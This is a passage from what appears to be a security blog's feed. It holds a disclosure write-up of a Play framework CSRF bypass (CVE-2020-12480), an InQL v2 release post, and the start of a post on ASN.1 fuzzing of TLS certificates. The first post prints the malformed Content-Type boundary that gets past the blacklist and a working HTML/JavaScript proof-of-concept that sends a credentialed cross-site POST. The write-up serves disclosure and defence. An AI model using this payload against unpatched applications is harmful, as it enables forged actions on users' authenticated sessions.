  &lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;blackList&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;multipart/form-data&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;text/plain&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the snippet above we can see the core of the old protection. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;contentType.blackList&lt;/code&gt; setting contains three values, which are identical to the content type of “simple requests”. This has been considered as a valid (although not ideal) protection since the following scenarios are prevented:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;attacker.com&lt;/em&gt; embeds a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;form&amp;gt;&lt;/code&gt; element which posts to &lt;em&gt;victim.com&lt;/em&gt;
    &lt;ul&gt;
      &lt;li&gt;Form allows &lt;em&gt;form-urlencoded&lt;/em&gt;, &lt;em&gt;multipart&lt;/em&gt; or &lt;em&gt;plain&lt;/em&gt;, which are all blocked by the mechanism&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;em&gt;attacker.com&lt;/em&gt; uses XHR to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; to &lt;em&gt;victim.com&lt;/em&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/json&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;Since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/json&lt;/code&gt; is not a “simple request”, an OPTIONS will be sent and (assuming a proper configuration) CORS will block the request&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;em&gt;victim.com&lt;/em&gt; uses XHR to POST to &lt;em&gt;victim.com&lt;/em&gt; with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/json&lt;/code&gt;
    &lt;ul&gt;
      &lt;li&gt;This works as it should, since the request is not cross-site but within the same domain&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Hence, you now have CSRF protection. Or do you?&lt;/p&gt;

&lt;h2 id=&quot;looking-for-a-bypass&quot;&gt;Looking for a bypass&lt;/h2&gt;

&lt;p&gt;Armed with this knowledge, the first thing that comes to mind is that we need to make the browser issue a request that does not trigger a preflight &lt;span style=&quot;text-decoration: underline&quot;&gt;and&lt;/span&gt; that does not match any values in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;contentType.blackList&lt;/code&gt; setting.&lt;/p&gt;

&lt;p&gt;The first thing we did was map out requests that we could modify without sending an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OPTIONS&lt;/code&gt; preflight. This came down to a single request: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type: multipart/form-data&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This appeared immediately interesting thanks to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;boundary&lt;/code&gt; value: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type: multipart/form-data; boundary=something&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The description can be found &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;For multipart entities the boundary directive is required, which consists of 1 to 70 characters from a set of characters known to be very robust through email gateways, and not ending with white space. It is used to encapsulate the boundaries of the multiple parts of the message. Often, the header boundary is prepended with two dashes and the final boundary has two dashes appended at the end.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, we have a field that can actually be modified with plenty of different characters and it is all attacker-controlled.&lt;/p&gt;

&lt;p&gt;Now we need to dig deep into the parsing of these headers. In order to do that, we need to take a look at &lt;strong&gt;Akka HTTP&lt;/strong&gt; which is what the Play framework is based on.&lt;/p&gt;

&lt;p&gt;Looking at  &lt;strong&gt;HttpHeaderParser.scala&lt;/strong&gt;, we can see that these headers are always parsed:&lt;/p&gt;

&lt;div class=&quot;language-scala highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;val&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;alwaysParsedHeaders&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Set&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;](&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;connection&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;content-encoding&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;content-length&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;content-type&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;expect&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;host&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;sec-websocket-key&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;sec-websocket-protocol&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;sec-websocket-version&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;transfer-encoding&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;upgrade&quot;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And the parsing rules can be seen in &lt;strong&gt;HeaderParser.scala&lt;/strong&gt; which follows &lt;a href=&quot;https://tools.ietf.org/html/rfc7230&quot;&gt;RFC 7230&lt;/a&gt; &lt;em&gt;Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing, June 2014&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-scala highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;field&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value`: Rule1[String] = rule {
FWS ~ clearSB() ~ `field&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value` ~ FWS ~ EOI ~ push(sb.toString)
}
def `field&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value` = {
var fwsStart = cursor rule {
zeroOrMore(`field&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk`).separatedBy { // zeroOrMore because we need to also accept empty values
run { fwsStart = cursor } ~ FWS ~ &amp;amp;(`field&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;char`) ~ run { if (cursor &amp;gt; fwsStart) sb.append(' ') }
} }
}
def `field&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;chunk` = rule { oneOrMore(`field&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;char` ~ appendSB()) } def `field&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;char` = rule { VCHAR | `obs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text` }
def FWS = rule { zeroOrMore(WSP) ~ zeroOrMore(`obs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fold`) } def `obs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fold&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rule&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;CRLF&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;~&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;oneOrMore&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;WSP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;If these parsing rules are not obeyed, the value will be set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt;. Perfect! That is exactly what we need for bypassing the CSRF protection - a “simple request” that will then be set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;None&lt;/code&gt; thus bypassing the blacklist.&lt;/p&gt;

&lt;p&gt;How do we actually forge a request that is allowed by the browser, but it is considered invalid by the Akka HTTP parsing code?&lt;/p&gt;

&lt;p&gt;We decided to let fuzzing answer that, and quickly discovered that the following transformation worked: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type: multipart/form-data; boundary=—some;randomboundaryvalue&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;An extra semicolon inside the boundary value would do the trick and mark the request as illegal:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /count HTTP/1.1
Host: play.local:9000
...
Content-Type: multipart/form-data;boundary=------;---------------------139501139415121
Content-Length: 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Response&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Response:
HTTP/1.1 200 OK
...
Content-Type: text/plain; charset=UTF-8 Content-Length: 1
5
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is also confirmed by looking at the logs of the server in development mode:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a.a.ActorSystemImpl - Illegal header: Illegal 'content-type' header: Invalid input 'EOI', exptected tchar, OWS or ws (line 1, column 74): multipart/form-data;boundary=------;---------------------139501139415121&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;And by instrumenting the Play framework code to print the value of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Type: None&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Finally, we built the following proof-of-concept and notified our client (along with the Play framework maintainers):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;h1&amp;gt;Play Framework CSRF bypass&amp;lt;/h1&amp;gt;
        &amp;lt;button type=&quot;button&quot; onclick=&quot;poc()&quot;&amp;gt;PWN&amp;lt;/button&amp;gt; &amp;lt;p id=&quot;demo&quot;&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;script&amp;gt;
        function poc() {
            var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() {
                if (this.readyState == 4 &amp;amp;&amp;amp; this.status == 200) {
                    document.getElementById(&quot;demo&quot;).innerHTML = this.responseText; 
                } 
            };
            xhttp.open(&quot;POST&quot;, &quot;http://play.local:9000/count&quot;, true);
            xhttp.setRequestHeader(
                &quot;Content-type&quot;,
                &quot;multipart/form-data; boundary=------;---------------------139501139415121&quot;
            );
            xhttp.withCredentials = true;
            xhttp.send(&quot;&quot;);
        }
        &amp;lt;/script&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;credits--disclosure&quot;&gt;Credits &amp;amp; Disclosure&lt;/h2&gt;

&lt;p&gt;This vulnerability was discovered by &lt;a href=&quot;https://www.linkedin.com/in/kevin-joensen-1ab96a82/&quot;&gt;Kevin Joensen&lt;/a&gt; and reported to the Play framework via &lt;a href=&quot;mailto:security@playframework.com&quot;&gt;security@playframework.com&lt;/a&gt; on &lt;em&gt;April 24, 2020&lt;/em&gt;. This issue was fixed on Play 2.8.2 and 2.7.5. &lt;a href=&quot;https://www.playframework.com/security/vulnerability/CVE-2020-12480-CsrfBlacklistBypass&quot;&gt;CVE-2020-12480&lt;/a&gt; and all details have been published by the vendor on &lt;em&gt;August 10, 2020&lt;/em&gt;. Thanks to James Roper of Lightbend for the assistance.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>InQL Scanner v2 is out!</title>
   <link href="https://blog.doyensec.com/2020/06/11/inql-scanner-v2.html"/>
   <updated>2020-06-11T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2020/06/11/inql-scanner-v2</id>
   <content type="html">&lt;h3 id=&quot;inql-dyno-mites-release&quot;&gt;InQL dyno-mites release&lt;/h3&gt;

&lt;p&gt;After the public &lt;a href=&quot;https://blog.doyensec.com/2020/03/26/graphql-scanner.html&quot;&gt;launch of InQL&lt;/a&gt; we received an overwhelming response from the community. &lt;strong&gt;We’re excited to announce a new major release &lt;a href=&quot;https://github.com/doyensec/inql&quot;&gt;available on Github&lt;/a&gt;&lt;/strong&gt;. In this version &lt;em&gt;(codenamed dyno-mites)&lt;/em&gt;, we have introduced a few cool features and a new logo!&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
	&lt;img src=&quot;../../../public/images/inql.png&quot; title=&quot;InQL Logo&quot; alt=&quot;InQL Logo&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto; width: 350px;&quot; /&gt;
&lt;/div&gt;

&lt;h4 id=&quot;jython-standalone-gui&quot;&gt;Jython Standalone GUI&lt;/h4&gt;

&lt;p&gt;As you might know, &lt;em&gt;InQL&lt;/em&gt; can be used as a stand-alone tool, or as a &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;Burp Suite&lt;/a&gt; extension (available for both Professional and Community editions). Using GraphQL built-in &lt;a href=&quot;https://graphql.org/learn/introspection/&quot;&gt;introspection query&lt;/a&gt;, the tool collects queries, mutations, subscriptions, fields, arguments, etc to automatically generate query templates that can be used for QA / security testing.&lt;/p&gt;

&lt;p&gt;In this release, we introduced the ability to have a Jython standalone GUI similar to the Burp’s one:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;brew &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;jython
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;jython &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; pip &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;inql
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;jython &lt;span class=&quot;nt&quot;&gt;-m&lt;/span&gt; inql
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;advanced-query-editor&quot;&gt;Advanced Query Editor&lt;/h4&gt;

&lt;p&gt;Many users have asked for syntax highlighting and code completion. &lt;em&gt;Et Voila!&lt;/em&gt;&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;img src=&quot;../../../public/images/inql_v2_embed.png&quot; title=&quot;InQL GraphiQL&quot; alt=&quot;InQL GraphiQL&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;InQL v2 includes an &lt;a href=&quot;https://github.com/graphql/graphiql&quot;&gt;&lt;strong&gt;embedded GraphiQL server&lt;/strong&gt;&lt;/a&gt;. This server works as a proxy and handles all the requests, enhancing them with authorization headers. &lt;a href=&quot;https://github.com/graphql/graphiql&quot;&gt;GraphiQL server&lt;/a&gt; improves the overall InQL experience by providing an advanced query editor with &lt;strong&gt;autocompletion&lt;/strong&gt; and other useful features. We also introduced stubbing of introspection queries when introspection is not available.&lt;/p&gt;

&lt;p&gt;We imagine people working between GraphiQL, InQL and other Burp Suite tools hence we included a custom “Send to GraphiQL” / “Send To Repeater” flow to be able to move queries back and forth between the tools.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;img src=&quot;../../../public/images/inql_v2_flow.jpg&quot; title=&quot;InQL v2 Flow&quot; alt=&quot;InQL v2 Flow&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;h4 id=&quot;tabbed-editor-with-multi-query-and-variables-support&quot;&gt;Tabbed Editor with Multi-Query and Variables support&lt;/h4&gt;

&lt;p&gt;But that’s not all. On the &lt;a href=&quot;https://portswigger.net/burp&quot;&gt;Burp Suite&lt;/a&gt; extension side, InQL is now handling &lt;a href=&quot;https://graphql.org/learn/best-practices/#server-side-batching-caching&quot;&gt;&lt;strong&gt;batched-queries&lt;/strong&gt;&lt;/a&gt; and &lt;strong&gt;searching inside queries&lt;/strong&gt;.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;img src=&quot;../../../public/images/inql_v2_editor.gif&quot; title=&quot;InQL v2 Editor&quot; alt=&quot;InQL v2 Editor&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;This was possible through re-engineering the editor in use (e.g. the default Burp text editor) and including a new tabbed interface able to sync between multiple representation of these queries.&lt;/p&gt;

&lt;h4 id=&quot;bapp-store&quot;&gt;BApp Store&lt;/h4&gt;

&lt;p&gt;Finally, InQL is now available on the Burp Suite’s &lt;a href=&quot;https://portswigger.net/bappstore/296e9a0730384be4b2fffef7b4e19b1f&quot;&gt;BApp store&lt;/a&gt; so that you can easily install the extension from within Burp’s &lt;em&gt;extension&lt;/em&gt; tab.&lt;/p&gt;

&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;/public/images/inql_preview.png&quot;&gt;
    &lt;source src=&quot;/public/images/inql_v2_demo.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;

&lt;h4 id=&quot;stay-tuned&quot;&gt;Stay tuned!&lt;/h4&gt;

&lt;p&gt;In just three months, InQL has become the &lt;em&gt;go-to&lt;/em&gt; utility for GraphQL security testing.  We received a lot of positive feedback and decided to double down on the development. We will keep improving the tool based on users’ feedback and the experience we gain through our &lt;a href=&quot;https://doyensec.com/auditing.html&quot;&gt;GraphQL security testing services&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This project was crafted with love in the &lt;a href=&quot;https://doyensec.com/research.html&quot;&gt;Doyensec Research Island&lt;/a&gt;.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Fuzzing TLS certificates from their ASN.1 grammar</title>
   <link href="https://blog.doyensec.com/2020/05/14/asn1fuzz.html"/>
   <updated>2020-05-14T00:00:00+02:00</updated>
   <id>https://blog.doyensec.com/2020/05/14/asn1fuzz</id>
   <content type="html">&lt;p&gt;A good part of my research time at Doyensec was devoted to building a flexible ASN.1 grammar-based fuzzer for testing TLS certificate parsers.
I learned a lot in the process, but I often struggled to find good resources on these topics. In this blogpost I want to give a high-level overview of the problem, the approach I’m taking, and some pointers which might hopefully save a little time for other fellow security researchers.&lt;/p&gt;

&lt;p&gt;Let’s start with some basics.&lt;/p&gt;

&lt;h2 id=&quot;what-is-a-tls-certificate&quot;&gt;What is a TLS certificate?&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;A TLS certificate is a DER-encoded object conforming to the ASN.1 grammar and constraints defined in &lt;a href=&quot;https://tools.ietf.org/html/rfc5280&quot;&gt;RFC 5280&lt;/a&gt;, which is based on the ITU X.509 standard.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That’s a lot of information to unpack, let’s take it one piece at a time.&lt;/p&gt;

&lt;h3 id=&quot;asn1&quot;&gt;ASN.1&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;ASN.1&lt;/strong&gt; (&lt;em&gt;Abstract Syntax Notation One&lt;/em&gt;) is a grammar used to define abstract objects. You can think of it as a much older and more complicated version of Protocol Buffers. ASN.1 however does not define an encoding, which is left to other standards. This language was designed by ITU and it is extremely powerful and general purpose.&lt;/p&gt;

&lt;p&gt;This is how a message in a chat protocol might be defined:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Message ::= SEQUENCE {
    senderId     INTEGER,
    recipientId  INTEGER,
    message      UTF8String,
    sendTime     GeneralizedTime,
    ...
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;At this first sight, ASN.1 might even seem quite simple and intuitive. But don’t be fooled! ASN.1 contains a lot of vestigial and complex features. For a start, it has ~13 string types. Constraints can be placed on fields, for instance, integers and the string sizes can be restricted to an acceptable range.&lt;/p&gt;

&lt;p&gt;The real complexity beasts however are &lt;em&gt;information objects&lt;/em&gt;, &lt;em&gt;parametrization&lt;/em&gt; and &lt;em&gt;tabular constraints&lt;/em&gt;.
Information objects allows the definition of templates for data types and a grammar to declare instances of that template (oh yeah…defining a grammar within a grammar!).&lt;/p&gt;

&lt;p&gt;This is how a template for different message types could be defined:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;-- Definition of the MESSAGE-CLASS information object class
MESSAGE-CLASS ::= CLASS {
    messageTypeId INTEGER UNIQUE
    &amp;amp;payload      [1] OPTIONAL,
    ...
}
WITH SYNTAX {
    MESSAGE-TYPE-ID  &amp;amp;messageTypeId
    [PAYLOAD    &amp;amp;payload]
}

-- Definition of some message types
TextMessageKinds MESSAGE-CLASS ::= {
    -- Text message
    {MESSAGE-TYPE-ID 0, PAYLOAD UTF8String}
    -- Read ACK (no payload)
  | {MESSAGE-TYPE-ID 1, PAYLOAD Sequence { ToMessageId INTEGER } }
}

MediaMessageKinds MESSAGE-CLASS ::= {
    -- JPEG
    {MESSAGE-TYPE-ID 2, PAYLOAD OctetString}
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Parametrization allows the introduction of parameters in the specification of a type:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Message {MESSAGE-CLASS : MessageClass} ::= SEQUENCE {
    messageId     INTEGER,
    senderId      INTEGER,
    recipientId   INTEGER,
    sendTime      GeneralizedTime,
    messageTypeId MESSAGE-CLASS.&amp;amp;messageTypeId ({MessageClass}),
    payload       MESSAGE-CLASS.&amp;amp;payload ({MessageClass} {@messageTypeId})
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;While a complete overview of the format is not within the scope of this post, a very good entry-level, but quite comprehensive, resource I found is this &lt;a href=&quot;https://www.zytrax.com/tech/survival/asn1.html&quot;&gt;ASN1 Survival guide&lt;/a&gt;. The nitty-gritty details can be found in the ITU standards X.680 to X.683.&lt;/p&gt;

&lt;p&gt;Powerful as it may be, ASN.1 suffers from a large practical problem - it lacks a wide choice of compilers (parser generators), especially non-commercial ones. Most of them do not implement advanced features like information objects.
This means that more often than not, data structures defined using ASN.1 are serialized and unserialized by handcrafted code instead of an autogenerated parser. This is also true for many libraries handling TLS certificates.&lt;/p&gt;

&lt;h3 id=&quot;der&quot;&gt;DER&lt;/h3&gt;

&lt;p&gt;DER (&lt;em&gt;Distinguished Encoding Rules&lt;/em&gt;) is an encoding used to translate an ASN.1 object into bytes. It is a simple Tag-Length-Value format: each element is encoded by appending its type (tag), the length of the payload, and the payload itself. Its rules ensure there is only one valid representation for any given object, a useful property when dealing with digital certificates that must be signed and checked for anomalies.&lt;/p&gt;

&lt;p&gt;The details of how DER works are not relevant to this post. A good place to start is &lt;a href=&quot;http://luca.ntop.org/Teaching/Appunti/asn1.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;rfc-5280-and-x509&quot;&gt;RFC 5280 and X.509&lt;/h3&gt;

&lt;p&gt;The format of the digital certificates used in TLS is defined in some RFCs, most importantly &lt;a href=&quot;https://tools.ietf.org/html/rfc5280&quot;&gt;RFC 5280&lt;/a&gt; (and then in &lt;a href=&quot;https://tools.ietf.org/html/rfc5912&quot;&gt;RFC 5912&lt;/a&gt;, updated for ASN.1 2002). The specification is based on the ITU X.509 standard.&lt;/p&gt;

&lt;p&gt;This is what the outermost layer of a TLS certificate contains:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Certificate  ::=  SEQUENCE  {
    tbsCertificate       TBSCertificate,
    signatureAlgorithm   AlgorithmIdentifier,
    signature            BIT STRING  
}

TBSCertificate  ::=  SEQUENCE  {
    version         [0]  Version DEFAULT v1,
    serialNumber         CertificateSerialNumber,
    signature            AlgorithmIdentifier,
    issuer               Name,
    validity             Validity,
    subject              Name,
    subjectPublicKeyInfo SubjectPublicKeyInfo,
    issuerUniqueID  [1]  IMPLICIT UniqueIdentifier OPTIONAL,
                         -- If present, version MUST be v2 or v3
    subjectUniqueID [2]  IMPLICIT UniqueIdentifier OPTIONAL,
                         -- If present, version MUST be v2 or v3
    extensions      [3]  Extensions OPTIONAL
                         -- If present, version MUST be v3 --
}
